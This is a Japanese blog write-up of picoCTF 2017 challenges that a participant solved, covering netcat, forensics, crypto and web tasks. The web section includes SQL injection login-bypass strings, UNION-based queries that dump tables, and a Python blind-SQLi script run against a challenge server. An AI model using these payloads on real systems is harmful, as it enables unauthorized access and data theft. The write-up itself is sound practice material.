一週間か二週間くらいの期間で、 picoctf という ctf がありました。私は zeropts というチームで参加して 2305 / 6575 pts で 397 位でした。スコアボードが見やすくなくて、なんチームくらい参加してたのかわからないですが。
最初はひとりで参加してましたが、途中で tsun くんと一緒になってやりました。 pwn 系は全部放り投げました。私が解いた問題について write up 書きます。
Level 1
Internet Kitties [Misc 10]
↓でふらぐがもらえる問題です。
[root ~] # nc shell2017.picoctf.com 24369
Yay! You made it!
Take a flag!
8eb2c54a37f4f6b7233b00c4800d0075
What Is Web [Web 20]
適当な HTML ページに飛ばされて、ソースコードをみると
とありました。 css と js へのリンクがあったのでそっちも覗くと
/* This is a javascript file. It contains code that runs locally in your
* browser, although it has spread to a large number of other uses.
*
* The final part of the flag is 3b680682297
*/
がありフラグとなりました。
looooong [Misc 20]
nc すると
[root ~] # nc shell2017.picoctf.com 51091
To prove your skills, you must pass this test.
Please give me the 'E' character '728' times, followed by a single '2'.
To make things interesting, you have 30 seconds
という表示になりました。30秒もまってくれるらしいので、悠々と python を立ち上げてお望みの入力を生成して貼り付けました。
You got it! You're super quick!
Flag: with_some_recognition_and_training_delusions_become_glimpses_cf0c40cbcc7efbd5121222729fff9263
WorldChat [Misc 30]
nc するとあほほどテキストが流れてきました。チャットサービスのまねをしているらしいです。 flag という文字が見えたので C-c すると、 flagperson という人物が flag の一部を喋ってくれていたので、 grep して適当なタイミングで C-c しました。
>|[root ~] # nc shell2017.picoctf.com 5026 | grep "flagperson"|
17:03:09 flagperson: this is part 1/8 of the flag - 2e5c
17:03:10 flagperson: this is part 2/8 of the flag - 3014
17:03:13 flagperson: this is part 3/8 of the flag - a9c5
17:03:19 flagperson: this is part 4/8 of the flag - ff31
17:03:23 flagperson: this is part 5/8 of the flag - 5a5c
17:03:24 flagperson: this is part 6/8 of the flag - b6db
17:03:26 flagperson: this is part 7/8 of the flag - 97bc
17:03:26 flagperson: this is part 8/8 of the flag - addf
17:03:26 flagperson: this is part 1/8 of the flag - 2e5c
17:03:31 flagperson: this is part 2/8 of the flag - 3014
^C
|
2e5c3014a9c5ff315a5cb6db97bcaddf2e5c3014
Digital Camouflage [Forensic 50]
pcap が与えられました。どんな データだたか忘れてしまいましたが、いくつかの http 通信があったとおもいます。そのなかで なにかしらの認証に成功しているストリームを見つけ出してきて、パスワードの base64 を decode してやるとそれがフラグでした。
R6AKNhWwo7
Special Agent User [Forensic 50]
同様に pcap が与えられました。いくつかの http 通信があり、問題文では「ブラウザの種類が大事やねん。それがフラグや」というかんじのことを言っていたので、とりあえずユーザエージェントとして投げられているブラウザ名を片端から submit しました。 Chrome 34.0.1847.137 でした。
Substitute [Crypto 40]
MIT YSAU OL OYGFSBDGRTKFEKBHMGCALSOQTMIOL. UTFTKAMTR ZB DAKQGX EIAOF GY MIT COQOHTROA HAUT GF EASXOF AFR IGZZTL. ZT CTKT SGFU, MIT YSACL GF A 2005 HKTLTF...
のような長い文字列が与えられました。 http://quipqiup.com/ におまかせしました。
THE FLAG IS IFONLYMODERNCRYPTOWASLIKETHIS. GENERATED BY MARKO? CHAIN OF THE WIKIPEDIA PAGE ON CAL?IN AND HOBBES. BE WERE LONG, THE FLAWS ON A 2005 PRESENT TIMES THAN ...
Hash101 [Crypto 50]
nc すると 「101000100 になる ASCII 文字列は?」とか、 mod 16 をとって 2になる文字列は? とかあわせて 4問くらい聞かれたので python で愚直に変換してやった結果を投げたら
Correct! Completed level 4
You completed all 4 levels! Here is your prize: c3ee093f26ba147ccc451fd13c91ffce
keyz [Crypto 20]
なんか 問題ページに terminal ぽいのがあったんですが不調だったので飛ばしてたらこれとかないと先に進めなくなったのでリロードチャレンジをして使えるようになったタイミングで webshellにログインしました。 ssh キーを登録しなさいとのことだったので 適当に生成した公開鍵を投げました。
Leaf of the Tree [Misc 20]
ここからは ssh 接続しての問題でした。
/problems/a45d1519bd193bc3a273744c83fad1e2 以下に何かファイルがあるよと言われたので、 ls -R
しました。するといろいろ長い名前のディレクトリとかファイルが出てきましたが、そのなかに flag という名前のファイルがあったので cat しました。
theoldmoon0602@shell-web:/problems/a45d1519bd193bc3a273744c83fad1e2$ cat ./trunk/trunk9ef5/trunkded5/trunk3f6a/trunk6034/trunk41fe/trunkb847/trunk7d34/flag
1510e551a2821bd027da10a7653814c8
Leaf of the Forest [Misc 30]
さっきとおんなじ系統の問題だけどさらにファイルが多いぞって言われたので、 find . -name "flag"
しました。
6c0d4a69fdff4ea12609fd1989749dd5
Hex2Raw [Rev 20]
hex2raw
すると Give me this in raw form (0x41 -> 'A'): 1a558acddabd64bbccdd94903eafdf18
とのことなので、 python で変換して printf '\x1aU\x8a\xcd\xda\xbdd\xbb\xcc\xdd\x94\x90>\xaf\xdf\x18' | ./hex2raw
としました。
You gave me:
1a558acddabd64bbccdd94903eafdf18
Yay! That's what I wanted! Here be the flag:
ceb80093717fd7e9aae149dacc7ac9b3
Raw2Hex [Rev 20]
フラグを吐いてくれるバイナリがあったんですがそれのhex表現がフラグだっていわれました。 hexdump に繋いでたんですが見辛いのでぐぐると xxd -p
が使えることを知りました。
theoldmoon0602@shell-web:/problems/87c7dd790daa359b529f1a24e9f8763f$ ./raw2hex
The flag is:���7�JM�^��B�
theoldmoon0602@shell-web:/problems/87c7dd790daa359b529f1a24e9f8763f$ ./raw2hex | xxd -p
54686520666c61672069733af4f47fac37994a4dbe5e15b9c342891b
最後の出力から The flag is:
の部分を取り除いたものがフラグでした。
computeAES [Crypto 50]
Encrypted with AES in ECB mode. All values base64 encoded
ciphertext = rvn6zLZS4arY+yWNwZ5YlbLAv/gjwM7gZJnqyQjhRZVCC5jxaBvfkRapPBoyxu4e
key = /7uAbKC7hfINLcSZE+Y9AA==
という問題でした。暗号文と鍵が与えられてるのでやるだけです。
>>> from Crypto.Cipher import AES
>>> aes = AES.new('/7uAbKC7hfINLcSZE+Y9AA=='.decode('base64'), AES.MODE_ECB)
>>> aes.decrypt('rvn6zLZS4arY+yWNwZ5YlbLAv/gjwM7gZJnqyQjhRZVCC5jxaBvfkRapPBoyxu4e'.decode('base64'))
'flag{do_not_let_machines_win_82e02651}__________'
computeRSA [Crypto 50]
encrypted number 150815, d = 1941, and N = 435979, what is the decrypted number?
なので、
>>> pow(150815, 1941, 435979)
133337
です。
Bash Loop [PWN 40]
フラグを吐いてくれるバイナリがいましたが、引数に1から4096の間の数値を与えて、それがあっていたらフラグを吐いてくれるとのことでした。まちがっていたら Nope といわれるのでそれ以外を grep しました。
for i in `seq 4096`; do ./bashloop $i >> ~/hg; done;
theoldmoon0602@shell-web:~$ grep -v Nope hg
Yay! That's the number! Here be the flag: 5cabdea71dd5f428c8e080db5010a7d6
Just No [Pwn 40]
theoldmoon0602@shell-web:/problems/ec9da1496f80c8248197ba564097cebb$ cat justno.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv){
FILE* authf = fopen("../../problems/ec9da1496f80c8248197ba564097cebb/auth","r");
if(authf == NULL){
printf("could not find auth file in ../../problems/ec9da1496f80c8248197ba564097cebb/\n");
return 0;
}
char auth[8];
fgets(auth,8,authf);
fclose(authf);
if(strcmp(auth,"no")!=0){
FILE* flagf;
flagf = fopen("/problems/ec9da1496f80c8248197ba564097cebb/flag","r");
char flag[64];
fgets(flag,64,flagf);
printf("Oh. Well the auth file doesn't say no anymore so... Here's the flag: %s",flag);
fclose(flagf);
}else{
printf("auth file says no. So no. Just... no.\n");
}
return 0;
}
こういうソースコードのバイナリがありました。 それっぽいファイルには no と書いてあって、上書きはできませんでした。悩んでたんですがシンボリックリンクを貼るとうまくいきました。
Oh. Well the auth file doesn't say no anymore so... Here's the flag: e4cec8fdf76a931b03ad7ef026103d43
Lazy Dev [MASTER 50]
MASTER 問題を解くと次のレベルにいけます。
こんな感じの js が埋め込まれたログインサイトがありました。
//Validate the password. TBD!
function validate(pword){
//TODO: Implement me
return false;
}
//Make an ajax request to the server
function make_ajax_req(input){
var text_response;
var http_req = new XMLHttpRequest();
var params = "pword_valid=" + input.toString();
http_req.open("POST", "login", true);
http_req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_req.onreadystatechange = function() {//Call a function when the state changes.
if(http_req.readyState == 4 && http_req.status == 200) {
document.getElementById("res").innerHTML = http_req.responseText;
}
}
http_req.send(params);
}
//Called when the user submits the password
function process_password(){
var pword = document.getElementById("password").value;
var res = validate(pword);
var server_res = make_ajax_req(res);
}
ログインボタンを押すと validate がよばれるけど実装されてないからログインできないらしいです。 ブラウザのコンソールを開いて make_ajax_req(true);
としたところ
client_side_is_the_dark_sidebde1f567656f8c9b654a1ec24e1ff889
が得られました。
Level 2
Yarn [Misc 55]
バイナリが与えられて悩んでたんですが strings -n3
するだけでした。 yarn って string と同義でいいんですかね。
Sub
mit
_me
_fo
r_I
_am
_th
e_f
lag
My First SQL [Web 50]
ログインぺーじがありました。admin
と 'OR'a'='a
で通りました。 be_careful_what_you_let_people_ask_1b3db77df6b116a38db8ceb7c81cb14c
Mystery Box [Misc 60]
エニグマの写真と状態が与えられたので http://enigma.louisedade.co.uk/enigma.html になげました。 QUIT EPUZZL INGIND EED
SoRandom [Crypto 75]
flag = "FLAG:"+open("flag", "r").read()[:-1]
encflag = ""
random.seed("random")
for c in flag:
if c.islower():
encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a'))
elif c.isupper():
encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A'))
elif c.isdigit():
encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0'))
else:
encflag += c
print "Unguessably Randomized Flag: "+encflag
というファイルが与えられました。脳死で適当にデコードを書いたらうまくいきました。
def dec(flag):
random.seed("random")
encflag=""
for c in flag:
if c.islower():
encflag += chr((ord(c)-ord('a')-random.randrange(0,26))%26 + ord('a'))
elif c.isupper():
encflag += chr((ord(c)-ord('A')-random.randrange(0,26))%26 + ord('A'))
elif c.isdigit():
encflag += chr((ord(c)-ord('0')-random.randrange(0,10))%10 + ord('0'))
else:
encflag += c
print(encflag)
dec("BNZQ:4pg33e44sdu4wu8198y15q685vpx8041")
FLAG:1eb52f21eba0ec8921b41a030afd5931
Meta Find Me [For 70]
jpeg 画像が与えれました。 strings すると Your flag is flag_2_meta_4_me_<lat>_<lon>_f8ad. Now find the GPS coordinates of this image! (Degrees only please)
が出てきました。
exif をみて値をはめました。
flag_2_meta_4_me_91_124_f8ad
Just Keyp Trying [For 80]
usb のパケットが与えられて「はーつらい」って言ってました。このあたりをいい感じに解けるライブラリってないですか。
tshark で値が変わっているところだけ切り出しました。 tshark -r data.pcap -Tfields -e usb.capdata > usb.data
それを python でえいってしました。
>>> f = file("usb.data").read().splitlines()
>>> ks = []
>>> for l in f:
... ls = l.split(':')
... if ls[2] == '00': continue
... if ls[0] != '00': ks.append(ls[0])
... ks.append(ls[2])
...
>>> ks
['09', '0f', '04', '0a', '20', '2f', '13', '15', '20', '22', '22', '20', '2d', '27', '11', '1a', '04', '15', '07', '16', '20', '2d', '04', '21', '1f', '23', '20', '09', '27', '24', '20', '30', '01', '06']
>>> flag{pr355_0nwards_a4263F07}
デコードは http://www.usb.org/developers/hidpage/Hut1_12v2.pdf の p53 をみながら手でやりました。いい感じのライブラリないですか。 20 が shift キーだったり違ったりしてややこしかったので失敗
LeakedHashes [Crypto 90]
ユーザ名と md5 のリストが与えられました。 john とかしてたけどアホで、 普通に md5 の cracker に投げたらデコードできました。nc 先に適当なユーザのパスワードを投げると
/\__/\
/` '\
=== 0 0 ===
\ -- / - flag is ac09afa2fcc825a31b9a46bab6223dd3
/ \
/ \
| |
\ || || /
\_oo__oo_/#######o
でした。
TW_GR_E1_ART [WEB 100]
ぼくの知ってる範囲で言うと、ポケモンの不思議のダンジョンみたいなゲームでした。最下層にいくとフラグっぽいアイテムが大量に落ちていてどれか一つが本物だけどはずれを引くと全部やりなおしでめっちゃ面倒な感じでした。
node製っぽくて package.json が見えたので辿っていくと ソースコードが見えて、呼んでいくと当たりフラグの座標がわかったのでそれを拾って使いました。
Toaster used the Flag!
A soft voice on the wind speaks to you: "The secret you are looking for is at_least_the_world_wasnt_destroyed_by_a_meteor_ebb38a54b1bbe2d3fafb0460af19ea14. Use it wisely."
All items were destroyed!
Missing Identity [何か 100]
何かしらのファイルが与えられて、中身は png っぽいんだけどちゃんと見れないみたいな感じだったと思います。先頭が XXXXX になっていて、これを png のフォーマットになおしてやったらフラグが見える感じでした。これにめっちゃ悩まされて阿呆っぽい。
Level 3
Level 2の他の問題は tsun くんがときました。
Biscuit [Web 75]
なにかのページにやってきました。ソースコードをみると
<style>
body{
background-image: url("private/image.png");
}
</style>
とあって、 private/cookies.sqlite にアクセスすると落ちてきました。これは firefox のクッキーを保存してる db っぽくて、1行しかなかったのでそのクッキーを装備してもう一度サイトにアクセスするとフラグをもらえました。
e5cd648b3f7e254fa0c384e6757233f7
A Happy Union [Web 110]
全然わからなかったんですが、ユーザ名の登録のときだけ sqli っぽいのができて、それがユーザ個人ページでのクエリを侵食できるということを tsun くんが見つけてくれたのでやるだけしてました。
' union select name,2,3 from sqlite_master --
というユーザを作って posts、 sqlite_sequence、 users というテーブルが有ることをつきとめ、
'union select sql, 2, 3 from sqlite_master--
というユーザを作って、 各テーブルのカラム名も取得しました。
あとは 'union select user, pass, 3 from users--
すると、 admin flag{union?_why_not_onion_b6e6a3cd8e3f1fe5f6109d1618bddbd1}
でした。
No Eyes [Web 125]
これもログインページでした。 admin のパスワードを突き止めろ、と言われていました。 とりあえず パスワードに a' OR 'a'='a
を入れましたが全然だめっぽくて、ユーザ名に入れてみたら Login Functionality Not Complete. Flag is 63 characters
といわれのでなるほどねと思いました。 ブラインド sqli かなと思ったんですが面倒でやりたくなかったのでいろいろ頑張ったんですがだめだめぽくて、結局すくりぷとをかいて blind sqli しました。
import requests
import time
import string
target = 'http://shell2017.picoctf.com:33838/'
cur="not_all_errors_should_be_shown_"
for i in range(len(cur), 64):
for c in "_{}-0987654321"+string.ascii_letters:
r = requests.post(target, data={
'username': "admin' and length(pass)=63 and substr(pass, 1, {})='{}".format(i+1, cur+c),
'password': "'OR'a'='a"
})
res = [t for t in r.text.splitlines() if "strong" in t][0].strip()
print("try={}, res={}".format(cur+c, res))
if "Found" not in res:
cur +=c
print("Hit!: {}".format(cur))
break
time.sleep(0.05)
途中まで like 句でマッチを探していて _
が任意の一文字にマッチしてしまったので cur
にその時点までのパスワードをいれてまつ。
not_all_errors_should_be_shown_07fa15beae68af0694171000114ec419
というわけで私は全部で 1600 pts をいれました。 tsun くんは途中からはいったので得点の配分としてはこんなものかなと思います。picoctf は初心者向けと聞いていたのですが Level2 でも全完はできていなくて(なんかなぞの bmp バス問題解けなかったしRSA破るみたいなやつも放棄しちゃった)しっかり初心者していきたいなと思いました。結局といたことがあるような自明問題ばかりをやっていたので初めて出会う問題とも戦っていきたいきもちを強くしました。
おわり。